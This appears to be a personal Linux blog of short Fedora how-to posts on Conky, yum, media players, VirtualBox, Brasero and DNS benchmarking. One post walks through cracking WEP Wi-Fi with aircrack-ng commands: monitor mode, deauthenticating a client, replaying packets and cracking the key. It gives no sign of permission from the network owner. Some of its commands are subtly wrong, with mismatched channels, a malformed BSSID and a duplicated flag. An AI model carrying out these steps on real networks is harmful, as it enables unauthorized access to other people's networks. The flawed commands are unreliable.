Linux : Fedora Conky-color

Conky is a free, light-weight system monitor for X, that displays any information on your desktop.

However, conky-color is the easier and faster way to customize conky compare to customizing conky configuration (conkyrc)

For Fedora users, in terminal,

yum install -y conky lm-sensors hddtemp

hddtemp : Hard disk temperature tool
lm-sensors : Hardware monitoring tools

Read More

yum update | bypass download limit

It is not a trick or hack anyway, it just another method of how to install or yum update several packages which is more than downloadable size due to proxy or anything.

So, in my case, I believe my download limit is 47Mb in UTP. So, the package of the openoffice.org-core is 87Mb. So, there is now way to update the package via yum update.

I can't update openoffice.org because the -core package must be download first.

What I do is, I download openoffice.org-core ONLY via download manager. Then, we will instruct yum to use openoffice.org-core which we download then update anything else via the command.

yum localinstall openoffice.org-core-3.2.0-12.25.fc13.i686.rpm

Done.

:)

Read More

Gmusicbroswser : Best mp3 player

Yes. I mean it. I have tried numerous of media player such as amarok, banshee, xmms etc. However, once I tried gmusicbrowser 2 years ago, I stick with it.

Gmusicbrowser : An open-source jukebox for large collections of mp3/ogg/flac/mpc/ape files, written in perl.

Please refer to the main website for features. However, there are some features I would like to highlight.

• Auto fetch lyric


• Layout options


• Plugins!


• Proxy features

Here are the screenshots.






If you want to output the song title and artist to the pidgin as your status, tick Now Playing plugin, and insert "purple-remote setstatus?status=available&message=♫%a-%t♫" without quote.

For fedora, yum install gmusicbrowser.

:)

Read More

Prayer time in Firefox

How cool is that? LOL.

Addon : Pray Times!

By installing this addon, you will get your prayer time in Firefox. My 1st doubt is, how I will setup the addon according to my location? Luckily, this addon provide the feature.




The best feature so far : Countdown to the next prayer including athan. *like*



Look at bottom right.

Oyeah.

Read More

Bootable USB with UNetbootin + Gparted

Indeed, I want to resize my Fedora 12 partition. Google up, the best solution was to use gparted.

Gparted : The GParted application is the GNOME partition editor for creating, reorganizing, and deleting disk partitions.

However, we need to make our USB bootable. Use UNetbootin.

UNetbootin : UNetbootin allows you to create bootable Live USB drives for a variety of Linux distributions from Windows or Linux, without requiring you to burn a CD



The easiest combination is to use gparted livecd + unetbootin + usb.

Goodluck! :)

Update :

Please do chckdsk if you boot your windows. I afraid, windows will assume your resize partition is still unformat.



Previous, 99% use on sda4. -_-"

Read More

Virtual Box : USB Support and Shared Folder

Host : Fedora 12 (2.6.31.12-174.2.3.fc12.i686)
Guest : Windows XP
Virtual Box : 3.1.2

I managed to setup USB support and Shared Folder for Virtual Box using above spec.

USB Support

1.Go to "Users and Group" , add your username at vboxuser group.



2.Logout

3.Go to your Virtual Box setting, select respective Guest, click Setting. Head to USB, add your USB device.



3.Start your Guest, now you can right-click at USB icon on bottom right of the window. Select your respective USB. Done :)




Shared Folder

1.Installed Guest Addition.

2.Restart

3.Devices > Shared Folder. Select which folder you want to share.

4.At Guest, Map Network Drive.



Look at "\\vboxsvr" . Click browse. Finish.

5. Done.

Read More

WiFi WEP Cracking

Since this blog turn into my own personal note, therefore, this WiFi cracking will become my future reference. With this method, I usually achieve my target, cracking WiFi with WEP encryption.



There are several type of WiFi encryption. They are :

• WEP


• WPA


• WPA2

Why we can crack WEP easily? Here.

We also can crack WPA, but its gonna take hell lots of time and we need dictionary too. Here.

Since we live in modern world, I believe, there is significant upgrade on the hardware part which make things easier for us. Such as CUDA. I had explained before here.

I don't have any screenshot with me now. So, I will just dump what inside my head.

1.airmon-ng start wlan0
Put your wifi card on monitor mode. Result, you can see mon0 at the output.

2.airodump mon0
Look at the output. Set your WEP target. Let's say 11:22:33:44. With ESSID "test" on channel 11

3.airodump --bssid 11:22:33:44 --channel 6 -w test mon0
We will capture specific packet from bssid 11:22:33:44 on channel 6 and write (-w) the packet into file name called "test"

Leave it for a while until you found the associated client with the router. Lets say aa:bb:cc:dd. Open new terminal

4.aireplay-ng -0 1 -a 11:22:33:44 -c aa:bb:cc:dd mon0
-0 stands for deauthenticate. U will deauthenticate the client to intercept their IV for cracking.

-a : bssid

-c : client associated to the bssid

Look at the output, you will see some XXX[12|120] <- this number is just an example.

5.aireplay-ng -3 -b 11:22:33:444 -b aa:bb:cc:dd mon0
We need to generate more packet to speed up our process. Leave it for awhile.

Check what is "-3"

New terminal

6.aircrack -n 128 --bssid 11:22:33:44 test*.cap
Depends on ur luck. But, as far as my experience, I need about 20k IVs to crack the password.

Just leave it, really.

Good luck.

Read More

Community Core Vision on Fedora 12

After royal rumble (WWF?) with CCV last night, I manage to get it run on Fedora 12 with my built-in webcam running.

CCV works OOTB with my Winblows Vista except for Fedora, I had troubled compiling CCV using blockcode.

Community Core Vision or CCV for short (also known as tbeta), is a open source/cross-platform solution for computer vision and machine sensing. It takes an video input stream and outputs tracking data (e.g. coordinates and blob size) and events (e.g. finger down, moved and released) that are used in building nui aware applications.

CCV can interface with various web cameras and video devices as well as connect to various TUIO/OSC/XML enabled applications and supports many multi-touch lighting techniques including: FTIR, DI, DSI, and LLP with expansion planned for the future vision applications (custom modules/filters).

http://nuicode.com/projects/tbeta

For more info, visit http://ccv.nuigroup.com/ and http://nuigroup.com/forums/

You can visit the forum to get more info on this.

More and less, visit http://wiki.nuigroup.com/Main_Page

I will update my post tonite regarding CCV on Fedora 12.

Read More

Uninstall Google Chrome extension

I install several chrome extension but I didn't find a basic GUI/button/method to disable or remove the extension.

Head to "chrome://extensions/"

Pick any extension that you want to disable or uninstall. :)

Read More

Brasero ; slow burning speed fix.

Brasero is a cd/dvd writing application for the Gnome desktop manager. Its advantages are ease of use, a lot of burning options and support for plugins!

Actually, my fav burner in linux is k3b. But, k3b crash in my Fedora 12. So I switch to brasero for awhile.



As you can see the pic, the speed is so damn slow. Although I select burn speed to the "Max", it doesn't work.

Here is the fix:

1.gconf-editor
2.head to apps > brasero > config > priority
3.change wodim-burn from "0" to "-1" ; to disable it
3.change growisofs-burn from "0" to "1"
4.manuall set the burn speed. Instead of "Max", use 4x,8x etc

Read More

Kolourpaint != mspaint

I'm not a fancy graphic editor. But I need a software like mspaint to do my basic work. I bet, you know what is mspaint. :D

There are a lot of software familiar to mspaint, but, kolourpaint gui is close to mspaint. Therefore, kolourpaint is my choice. Heh.

KolourPaint is a free, easy-to-use paint program for KDE.

For fedora, you can "yum install kdegraphics".

Here is the screenshot.

Read More

namebench : Open-source DNS Benchmark Utility

Slow DNS servers can lead to a terrible web browsing experience, but knowing which one to use isn't easy.

namebench is a new open source tool that helps to take the guess-work out of the DNS server selection process. namebench benchmarks available DNS services and provides a personalized comparison to show you which name servers perform the best.

namebench can help you to surf net better.

namebench google code page.

I read the post *DNS* in lifehacker website. So I decide to give a try.

Fast internet is a fascinating thing. Yeah. :)



Black n white version on what namebench did. Benchmarking.





Later on, I follow the namebench recommendation. I think, it works great. It will give a sneak on what DNS you should use to surf better.

Read More